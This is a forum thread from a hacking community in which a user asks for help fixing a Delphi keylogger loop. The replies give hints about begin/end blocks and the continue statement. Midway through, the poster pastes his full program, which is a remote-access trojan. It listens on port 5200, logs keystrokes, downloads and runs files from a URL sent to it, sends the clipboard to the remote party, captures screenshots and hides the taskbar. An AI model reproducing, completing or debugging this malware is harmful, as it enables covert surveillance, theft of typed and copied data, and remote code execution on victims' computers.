Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Delphi For Loop Help


mike1990's Avatar
Member
0 0

I put this in and the problem seems to be the for loop doesn't terminate

Code:

  for i := 97 to 122 do
    begin
      if GetAsyncKeyState(i) <> 0 then
        begin
          key := key + Chr(i);
      end;
  Continue;
ShowMessage(key);```


Anyone could help me?

Thank you

spyware's Avatar
Banned
0 0

Increase i every loop.


mike1990's Avatar
Member
0 0

Like this?

for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
begin
key := key + Chr(i);
end;
i++;
Continue;
ShowMessage(key);```

Thank you

ghost's Avatar
0 0

mike1990 wrote: I put this in and the problem seems to be the for loop doesn't terminate

Code:

  for i := 97 to 122 do
    begin
      if GetAsyncKeyState(i) <> 0 then
        begin
          key := key + Chr(i);
      end;
  Continue;
ShowMessage(key);```

You're basically telling it not to terminate when you use continue through every iteration. Continue ([from the Delphi docs here](http://www.delphibasics.co.uk/RTL.asp?Name=Continue)) causes a loop to break current processing and start another iteration through a loop.

The real problem is that you didn't terminate your loop at all. When you do a [for loop](http://delphi.about.com/od/beginners/a/delphi_loops.htm), you have to have a beginning and an end... like this:

```markupfor i:=97 to 122 do
begin
   key := key + Chr(i);
end;

The problem might also be fixed by removing the "begin" after your if statement, since it looks like Delphi can do single-line conditions like lots of other languages:

   key := key + Chr(i);

Then, the code would iterate through your for loop normally and probably ignore the continue statement. Regardless, the correct way to fix the issue is to remove the continue and do something (either remove the begin or add an end) with the if statement.

spyware wrote: Increase i every loop. This is not the correct way to fix the issue, since it redundantly adjusts i within the loop. It might as well be a while loop if we're going to do that. :)

Edit: Added Delphi for documentation link.


mike1990's Avatar
Member
0 0

Thanks for that information, it gave me an understanding but still can't get it to work. It shows a messagebox up loads of times. I'm sorry for being annoying but i've searched everywhere and i can't figure this out.

var
i: Integer;
key: String;
begin
  for i := 97 to 122 do
  begin
    if GetAsyncKeyState(i) <> 0 then
        key := key + Chr(i);
        ShowMessage(key);
  end;

end;```

spyware's Avatar
Banned
0 0

define wrote: This is not the correct way to fix the issue, since it redundantly adjusts i within the loop. It might as well be a while loop if we're going to do that. :)

Whoops, I thought delphi was weird and used unconventional looping.


spyware's Avatar
Banned
0 0

**mike1990 wrote:**It shows a messagebox up loads of times.

Aren't you telling it to do that with the ShowMessage command?


mike1990's Avatar
Member
0 0

Yes, i want the messagebox there but that's only for error testing. The message comes up so many times and the messagebox should come up only when a key is pressed and display only once. Any ideas?


ghost's Avatar
0 0

mike1990 wrote: the messagebox should come up only when a key is pressed and display only once. Any ideas? It should only come up when the if condition is met, correct? If you format your code so that your blocks of logic (begin and end;) are clearly visible, then you'll see the problem. I've adjusted what you posted to do just that:

mike1990 wrote:

var
i: Integer;
key: String;
begin

  for i := 97 to 122 do
  begin
    if GetAsyncKeyState(i) <> 0 then
        key := key + Chr(i);

    ShowMessage(key);
  end;

end;```

> **spyware wrote:**
Whoops, I thought delphi was weird and used unconventional looping. 
Nah, but it's cool. I used to program a lot in Pascal (the predecessor to Delphi), so I'm vaguely familiar with the syntax. Definitely not a popular language, though. :)

mike1990's Avatar
Member
0 0

Thank you mate, should that code work properly now?


mike1990's Avatar
Member
0 0

Here's the whole code


interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, MMSystem, ExtCtrls, urlmon, ShellApi;

type
  TForm2 = class(TForm)
    server: TServerSocket;
    Label1: TLabel;
    keylogger: TTimer;
    screenshot: TImage;
    procedure FormCreate(Sender: TObject);
    procedure serverClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure serverClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure serverClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure keyloggerTimer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure TForm2.FormCreate(Sender: TObject);
begin
server.Port := 5200;
server.Active := True;
end;

procedure TForm2.keyloggerTimer(Sender: TObject);
var
i: Integer;
key: String;
begin

  for i := 97 to 122 do
  begin
    if GetAsyncKeyState(i) <> 0 then
      key := key + Chr(i);

    ShowMessage(key);
  end;

end;

procedure TForm2.serverClientConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
ShowMessage('Connected');
end;

procedure TForm2.serverClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
ShowMessage('Disconnected');
end;

procedure TForm2.serverClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
data: AnsiString;
splitdata: TStringList;
screenhandle: hDc;
screencanvas: TCanvas;
screenrect: TRect;
begin
SetLength(data, socket.ReceiveLength);
SetLength(data, socket.ReceiveBuf(Pointer(data)^, Length(data)));
splitdata := TStringList.Create;
splitdata.Delimiter := '|';
splitdata.DelimitedText := String(data);
if splitdata[0] = 'msgbox' then
  begin
    MessageBox(Application.Handle,PChar(splitdata[2]),PChar(splitdata[1]), MB_ICONINFORMATION);
  end;
if splitdata[0] = 'opencd' then
  begin
    mciSendString('Set CdAudio Door Open',nil,0,Handle);
  end;
if splitdata[0] = 'closecd' then
  begin
    mciSendString('Set CdAudio Door Closed',nil,0,Handle);
  end;
if splitdata[0] = 'hidetaskbar' then
  begin
    ShowWindow(FindWindow('Shell_TrayWnd',nil),SW_HIDE);
  end;
if splitdata[0] = 'showtaskbar' then
  begin
    ShowWindow(FindWindow('Shell_TrayWnd',nil),SW_SHOW);
  end;
if splitdata[0] = 'hidestart' then
  begin
    ShowWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil),0);
  end;
if splitdata[0] = 'showstart' then
  begin
    ShowWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil),1);
  end;
if splitdata[0] = 'enablekeylogger' then
 begin
   keylogger.Enabled := True;
 end;
if splitdata[0] = 'remotedownloader' then
  begin
    UrlDownLoadToFile(nil,PChar(splitdata[1]),PChar(splitdata[2]),0,nil);
    ShellExecute(0,'OPEN',PChar(splitdata[2]),nil,nil,SW_SHOW);
  end;
if splitdata[0] = 'getclipboard' then
  begin
    OpenClipboard(0);
    server.Socket.SendText('receiveclipboard|'+AnsiString(GetClipboardData(CF_TEXT))+'');
    CloseClipboard;
  end;
if splitdata[0] = 'setclipboard' then
  begin
  end;
if splitdata[0] = 'capturescreenshot' then
  begin
    screenhandle := GetWindowDC(GetDesktopWindow);
    screencanvas := TCanvas.Create;
    screencanvas.Handle := screenhandle;
    screenrect := Rect(0,0,Screen.Width,Screen.Height);
    screenshot.Canvas.CopyRect(screenrect,screencanvas,screenrect);
    ReleaseDC(GetDesktopWindow, screenhandle);
    screenshot.Picture.SaveToFile('screenshot.bmp');
  end;
end;

end.```

Still doesn't work :(

ghost's Avatar
0 0

**define wrote:**If you format your code so that your blocks of logic (begin and end;) are clearly visible, then you'll see the problem. I've adjusted what you posted to do just that:

[quote]mike1990 wrote:

var
i: Integer;
key: String;
begin

  for i := 97 to 122 do
  begin
    if GetAsyncKeyState(i) <> 0 then
        key := key + Chr(i);

    ShowMessage(key);
  end;

end;```
[/quote]
> **mike1990 wrote:**
Thank you mate, should that code work properly now?
No, of course not... I said above that I was simply adjusting the formatting of the code to make it more readable. It lets you see, plain as day, why you're getting a message on every for loop iteration. 

I'm not going to spoon-feed you code. You're going to learn how to program through hints and progressive learning, or your program will continue to fail. I've given you all the tools to solve the problem in this thread already. Now it's your turn to solve it.

> **MoshBat wrote:**
Okay, as far as I know, there are no decent Delphi coders here. Try a specific forum, or post any errors.
Read my comment above about Pascal. :) Also, you should be able to discern what the problem is simply by pseudo-coding it. Translated to any other language, this program will fail the exact same way. It's a problem with the logic, not with syntax.

mike1990's Avatar
Member
0 0

I got things sorted a couple of weeks back, was so simple :D thank you for your help :)


spyware's Avatar
Banned
0 0

mike1990 wrote: I got things sorted a couple of weeks back, was so simple :D thank you for your help :)

Wow, that's very polite of you to report back. Nice job, Mike! If you want, you can submit your code to the code bank and show everyone your work! If you don't want to do that that's fine too.


ghost's Avatar
0 0

Could you post how you "got things sorted", preferably with the resulting code? Glad you got it all figured out, btw.